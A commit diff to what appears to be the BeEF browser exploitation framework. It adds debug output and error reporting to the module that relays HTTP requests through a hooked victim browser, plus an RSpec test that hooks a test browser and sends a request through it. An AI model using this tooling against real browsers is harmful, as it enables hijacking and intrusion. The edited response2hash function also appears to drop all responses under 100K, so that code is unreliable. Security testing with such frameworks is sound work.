fixing #1851
This commit is contained in:
@@ -3,7 +3,7 @@ class CreateHttp < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
|
||||
create_table :https do |t|
|
||||
t.references :hooked_browser
|
||||
t.text :hooked_browser_id
|
||||
# The http request to perform. In clear text.
|
||||
t.text :request
|
||||
# Boolean value as string to say whether cross-domain requests are allowed
|
||||
|
||||
@@ -20,10 +20,12 @@ module BeEF
|
||||
@body = body
|
||||
# Generate all the requests and output them to the hooked browser
|
||||
output = []
|
||||
print_debug hb.to_json
|
||||
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h|
|
||||
output << self.requester_parse_db_request(h)
|
||||
}
|
||||
|
||||
|
||||
return if output.empty?
|
||||
config = BeEF::Core::Configuration.instance
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
@@ -52,6 +54,7 @@ module BeEF
|
||||
end
|
||||
# if we use XHR-polling, add the component to the main hook file
|
||||
else
|
||||
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
add_to_body output
|
||||
@@ -95,6 +98,9 @@ module BeEF
|
||||
@host = http_db_object.domain
|
||||
@port = http_db_object.port
|
||||
|
||||
print_debug "http_db_object:"
|
||||
print_debug http_db_object.to_json
|
||||
|
||||
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length:\s+(\d+)/)
|
||||
@@ -155,6 +161,9 @@ module BeEF
|
||||
|
||||
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
||||
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
|
||||
|
||||
print_debug "result http_request_object"
|
||||
print_debug http_request_object.to_json
|
||||
|
||||
http_request_object
|
||||
end
|
||||
|
||||
@@ -82,15 +82,27 @@ module BeEF
|
||||
# Return a response by ID
|
||||
get '/response/:id' do
|
||||
begin
|
||||
|
||||
# super debugging
|
||||
|
||||
error = {}
|
||||
|
||||
error[:code]=0
|
||||
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
||||
error[:code]=1
|
||||
|
||||
responses = H.find(id) || nil
|
||||
error[:code]=2
|
||||
halt 404 if responses.nil?
|
||||
|
||||
error[:code]=3
|
||||
result = {}
|
||||
result[:success] = 'true'
|
||||
error[:code]=4
|
||||
|
||||
result[:result] = response2hash(responses)
|
||||
error[:code]=5
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
@@ -98,7 +110,11 @@ module BeEF
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
|
||||
error[:id] = id
|
||||
error[:message] = e.message
|
||||
error.to_json
|
||||
# halt 500
|
||||
end
|
||||
end
|
||||
|
||||
@@ -195,6 +211,9 @@ module BeEF
|
||||
:allow_cross_domain => "true",
|
||||
)
|
||||
|
||||
print_debug "added new http request for #{zombie.session}"
|
||||
print_debug http.to_json
|
||||
|
||||
if verb.eql?('POST') || verb.eql?('PUT')
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length/i)
|
||||
@@ -238,18 +257,24 @@ module BeEF
|
||||
|
||||
# Convert a response object to Hash
|
||||
def response2hash(http)
|
||||
if http.response_data.length > (1024 * 100) # more thank 100K
|
||||
response_data = http.response_data[0..(1024*100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
else
|
||||
response_data = http.response_data
|
||||
|
||||
response_data = ""
|
||||
|
||||
if not http.response_data.nil?
|
||||
if http.response_data.length > (1024 * 100) # more thank 100K
|
||||
response_data = http.response_data[0..(1024*100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
end
|
||||
end
|
||||
|
||||
response_headers = ""
|
||||
response_headers = http.response_headers if not http.response_headers.nil?
|
||||
|
||||
{
|
||||
:id => http.id,
|
||||
:request => http.request.force_encoding('UTF-8'),
|
||||
:response => response_data.force_encoding('UTF-8'),
|
||||
:response_headers => http.response_headers.force_encoding('UTF-8'),
|
||||
:response_headers => response_headers.force_encoding('UTF-8'),
|
||||
:proto => http.proto.force_encoding('UTF-8'),
|
||||
:domain => http.domain.force_encoding('UTF-8'),
|
||||
:port => http.port.force_encoding('UTF-8'),
|
||||
|
||||
@@ -18,4 +18,100 @@ RSpec.describe 'BeEF Extension Requester' do
|
||||
expect(requester).to respond_to(:requester_parse_db_request)
|
||||
end
|
||||
|
||||
it 'requester works' do
|
||||
# start beef server
|
||||
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@config.set('beef.credentials.user', "beef")
|
||||
@config.set('beef.credentials.passwd', "beef")
|
||||
|
||||
#generate api token
|
||||
BeEF::Core::Crypto::api_token
|
||||
|
||||
# load up DB
|
||||
# Connect to DB
|
||||
ActiveRecord::Base.logger = nil
|
||||
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
|
||||
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:'beef.db')
|
||||
# Migrate (if required)
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
|
||||
|
||||
if context.needs_migration?
|
||||
puts "migrating db"
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
|
||||
end
|
||||
|
||||
|
||||
http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
@pids = fork do
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
end
|
||||
@pid = fork do
|
||||
http_hook_server.start
|
||||
end
|
||||
# wait for server to start
|
||||
sleep 1
|
||||
|
||||
https = BeEF::Core::Models::Http
|
||||
|
||||
### hook a new victim, use rest API to send request ###########
|
||||
|
||||
api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', BEEF_USER, BEEF_PASSWD)
|
||||
response = api.auth()
|
||||
@token = response[:token]
|
||||
puts "authenticated. api token: #{@token}"
|
||||
puts 'hooking a new victim, waiting a few seconds...'
|
||||
victim = BeefTest.new_victim
|
||||
sleep 1
|
||||
|
||||
|
||||
|
||||
# get victim session
|
||||
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}}
|
||||
hb_details = JSON.parse(response.body)
|
||||
|
||||
|
||||
hb_session = hb_details["hooked-browsers"]["online"]["0"]["session"]
|
||||
|
||||
puts "hooked browser: #{hb_session}"
|
||||
|
||||
# clear all previous victim requests
|
||||
cleared = https.where(:hooked_browser_id => hb_session).delete_all
|
||||
puts "cleared #{cleared} previous request entries"
|
||||
|
||||
# send a random request to localhost port 3000
|
||||
randreq = (0...8).map { (65 + rand(26)).chr }.join
|
||||
|
||||
response = RestClient.post "#{RESTAPI_REQUESTER}/send/#{hb_session}?token=#{@token}", "proto=http&raw_request=GET%20%2Ftest#{randreq}%20HTTP%2F1.1%0AHost%3A%20localhost%3A3000%0A"
|
||||
|
||||
|
||||
sleep 0.5
|
||||
sent_request = RestClient.get "#{RESTAPI_REQUESTER}/requests/#{hb_session}?token=#{@token}"
|
||||
|
||||
puts "request sent: #{sent_request.to_json}"
|
||||
sent_request = JSON.parse(sent_request)
|
||||
reqid = sent_request["requests"][0]["id"]
|
||||
|
||||
puts "getting response for id #{reqid}"
|
||||
|
||||
response = RestClient.get "#{RESTAPI_REQUESTER}/response/#{reqid}?token=#{@token}"
|
||||
|
||||
expect(response)
|
||||
|
||||
###############################################################
|
||||
|
||||
# cleanup: delete test browser entries
|
||||
https.where(:hooked_browser_id => hb_session).delete_all
|
||||
|
||||
# kill the server
|
||||
Process.kill("KILL",@pid)
|
||||
Process.kill("KILL",@pids)
|
||||
|
||||
puts "waiting for server to die.."
|
||||
sleep 1
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -25,3 +25,4 @@ RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns"
|
||||
RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng"
|
||||
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"
|
||||
RESTAPI_WEBRTC = "http://" + ATTACK_DOMAIN + ":3000/api/webrtc"
|
||||
RESTAPI_REQUESTER = "http://" + ATTACK_DOMAIN + ":3000/api/requester"
|
||||
|
||||
Reference in New Issue
Block a user